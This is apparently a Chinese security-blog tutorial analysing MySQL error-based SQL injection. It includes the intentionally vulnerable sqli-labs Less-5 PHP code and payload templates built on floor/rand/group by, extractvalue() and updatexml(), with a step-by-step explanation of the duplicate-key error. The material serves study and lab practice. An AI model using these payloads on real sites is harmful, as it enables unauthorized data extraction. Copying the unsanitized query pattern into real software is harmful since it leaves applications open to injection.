蓝域黑客测试:SQL注入-MYSQL报错注入原理分析

这篇是之前写的报错注入分析,有些地方表述不是很成熟

在测试注入无法回显数据时,报错注入是一种很好的选择。

0x00原理

构造 payload 让信息通过错误提示回显出来。

- 0x01 应用场景

  1. 查询不回显内容,会打印错误信息。
  2. update 、insert 等语句,会打印错误信息。

Sqli-labs Less-5 存在报错注入的代码:

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else
	{

	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";
	echo '<font color= "#0000ff" font size= 3>';

	}
}
	else { echo "Please input the ID as parameter with numeric value";}

有点复杂哈,那么浓缩下来看,就是存在以下代码:

	if($row)
	{
  	echo 'You are in...........';
  	}
	else
	{
	print_r(mysql_error());
	}

然后利用产生错误信息的语句(函数),在其中插入我们想要执行的语句之后,从而实现报错注入。

- 0x02 利用

  • 如何利用报错注入

  • 让错误信息中返回数据库中的内容。

  • 构造语句,让错误信息中可以显示数据库内容。

  • 报错注入方法小归纳

凡是可以让错误信息显示的语句(函数),都能实现报错注入。

函数名称 | 利用
--------- | -------------

floor() | select count(\*) from information _schema.tables group by concat((此处加入执行语句),0x7e,floor(rand(0)\*2));

extractvalue() | extractvalue(1,concat(0x7e,(此处加入执行语句),0x7e));

updatexml() | updatexml(1,concat(0x7e,(此处加入执行语句),0x7e),1);

Tips: 以 0x 开始的数据表示16进制,0x7e 表示为 ~ 符号。

- 0x03 实践

floor() 报错原理

研究了这个几天,参考了一些博客,发现一些大佬表达能力比我强太多,脑壳疼...
利用 floor() 函数使 SQL 语句报错,实际上是由 rand() , count() , group by 三个函数语句联合使用造成的。
首先,看一下语句中使用到的函数和子句:

  1. concat: 连接字符串功能
  2. floor: 取float的整数值(向下取整)
  3. rand: 取0~1之间的随机浮点值
  4. group by: 根据一个或多个列对结果集进行分组并有排序功能
  5. floor(rand(0)*2): 随机产生0或1

刚才已经说了 利用 floor() 的报错注入实际上是由 rand() , count() , group by 三个函数语句联合使用造成的,想要搞清楚原理我们首先来分析单个,
从 group by 子句开始,
这里我建了一个 person 表测试:

黑客测试:SQL注入

我们通过 page 年龄这个字段来对表中数据分组:

黑客测试:SQL注入

可以看到我们出现了一个新的数据表,有 page 、 count(*) 这两个字段,count(*) 字段下表示每个年龄人的数量,
可以联想到 group by 子句的执行流程,最初时,page-count(*)这个数据表是空的,通过一行一行读原数据表中的 page 字段,如果读到的 page 在 page-count(*) 数据表中不存在,就将它插入,并且将对应的 count(*) 赋为1,如果存在,就将其对应的 count(*) +1,直至扫完整个数据表。

Tips:这里有一点需要注意, group by 后跟的字段名是作为虚拟表的主键,主键不能重复,这也是报错的关键点。

报错的主要原因是虚拟表的主键重复,那我们来看一下是哪里,在什么情景下重复了。
这时候用到 rand() 函数了,继续来了解 rand() 函数的用法:

  1. 生成01之间的随机浮点值
  2. 可以给 rand() 传一个参数作为 rand() 的种子,然后 rand 函数会依据这个种子进行随机生成

这里加上 floor() 函数的用法:

  1. floor: 取float的整数值(向下取整)

所以,floor(rand()*2) 和 floor(rand(0)*2) 表示产生0或者1。
我们来比较下它们的区别:

黑客测试:SQL注入

黑客测试:SQL注入

可以看到 floor(rand()*2) 产生的数值没有规律,而floor(rand(0)*2) 的规律是01101...,具体可以再多插入些数据测试下,肯定是这样的。

下面就是重中之重了,
回顾我们构建报错注入的语句:

select count(*) from information _schema.tables group by concat((select version()),0x7e,floor(rand(0)*2));

执行前虚拟表为空,执行时, group by 根据 concat((select version()),0x7e,floor(rand(0)*2)) 分组,因为 floor(rand(0)*2) 是有规律的,所以第一次的生成结果为5.7.240 ,以 5.7.240 查询虚拟表发现虚拟表中没有该值的主键,所以就将这条语句的结果放入虚拟表中。在放入虚拟表中 函数会再次运算,这时候变成 5.7.241 ,所以插入的值变成了 5.7.241

黑客测试:SQL注入

当原数据表只有一条时,显然 group by 只会分一组 主键唯一并不会报错,当数据变成两条以上时,如果查询第二条插入时运算结果变成 5.7.241 ,就会报错,而三条数据以上一定会报错。
floor(rand(0)*2) 函数的值是固定的,也就是01101... 等,具体分析下操作流程:
查询前,虚拟表为空。

查询第一条记录,执行

group by concat((select version()),0x7e,floor(rand(0)\*2))

结果为 5.7.240 (第一次运算) ,查询虚拟表没有 5.7.240 的键值,插入时 group by concat((select version()),0x7e,floor(rand(0)*2)) 再次运算,结果为 5.7.241 (第二次运算),放在虚拟表中,此时表中

key | count(*)
--------- | -------------
5.7.241 | 1

查询第二条记录,再次执行 group by concat((select version()),0x7e,floor(rand(0)*2)) ,结果为 5.7.241 (第三次运算),查询发现 5.7.241 的键值存在,所以不会再次计算,直接 count(*)+1 ,此时表中

key | count(*)
--------- | -------------
5.7.241 | 2

查询第三条记录,再次执行 group by concat((select version()),0x7e,floor(rand(0)*2)) ,结果为 5.7.240 (第四次运算),虚拟表中没有键值为 5.7.240 ,所以插入数据,在插入时再次计算,作为主键 5.7.241 ,而此时 5.7.241 已经存在在虚拟表中,主键必须唯一,所以产生报错。

Tips:综上所述,当数据表记录大于三时,使用 group by floor(rand(0)*2) 一定报错。

ERROR 1062 (23000): Duplicate entry '5.7.24~1' for key '<group_key>'

总结:利用 floor() 函数,group by 子句,rand() 函数联用的报错注入是因为 group by 子句在查询虚拟表和插入虚拟表时,两次相同语句执行的结果不一致导致的错误报出。


extractvalue() 报错原理

函数解释:

  1. extractvalue():从目标 XML 中返回包含所查询值的字符串。
  2. EXTRACTVALUE (XML_document, XPath_string);
  3. 第一个参数:XML_document是 String 格式,为 XML 文档对象的名称,文中为 Doc 。
  4. 第二个参数:XPath_string ( Xpath 格式的字符串)
  5. concat:返回结果为连接参数产生的字符串。

第一个参数表示目标 xml 文档,第二个参数表示 xml 路径。
我们主要利用在第二个参数的位置,当正常查询时,第二个参数应该是 /xxx/xxx/xxx/… 这种形式。
如果写成其他形式就会报错。
当正常查询时,即使查询不到也不会报错。

黑客测试:SQL注入

当我们尝试报错注入时:
测试代码:

select pname,page from person where pwd = '111' and (extractvalue('hhhhhhh',concat(0x7e,(select database()))));

黑客测试:SQL注入

Tips: extractvalue() 能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用 substring() 函数截取。

测试代码:

select pname,page from person where pwd = '111' and (extractvalue('hhhhhhh',concat(0x7e,substring(hex((select database())),1,20))));

黑客测试:SQL注入

总结:利用 xpath 字符串格式报错进行注入,要注意查询字符长度限制。


updatexml() 报错原理

函数解释:

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据 。
作用:改变文档中符合条件的节点的值。

updatexml() 报错与 extractvalue() 报错类似,都是由于 xpath 格式错误报错,同样能查询字符串的最大长度为32,同样在第二个参数出插入我们需要的语句代码。

测试代码:

select pname,page from person where pwd = '111' and updatexml(1,concat(0x7e,(select database()),0x7e),1);

黑客测试:SQL注入

总结:利用 xpath 字符串格式报错进行注入,要注意查询字符长度限制。

以上就是蓝域黑客测试对
SQL注入-MYSQL报错注入原理分析
如果您喜欢本篇文章转载请注明文章来源:http://www.yemogege.cn/wzaq-stwz/343.html

版权保护: 本文由admin所发布,转载请保留本文链接: http://www.yemogege.cn/wzaq-stwz/343.html

免责声明:蓝域安全网所发布的一切渗透技术视频文章,逆向脱壳病毒分析教程,以及相关实用源码仅限用于学习和研究目的
请勿用于商业用途。如有侵权、不妥之处,请联系站长并出示版权证明以便删除! 

侵权删帖/违法举报/投稿等事物联系邮箱:yemogege@vip.qq.com 网站地图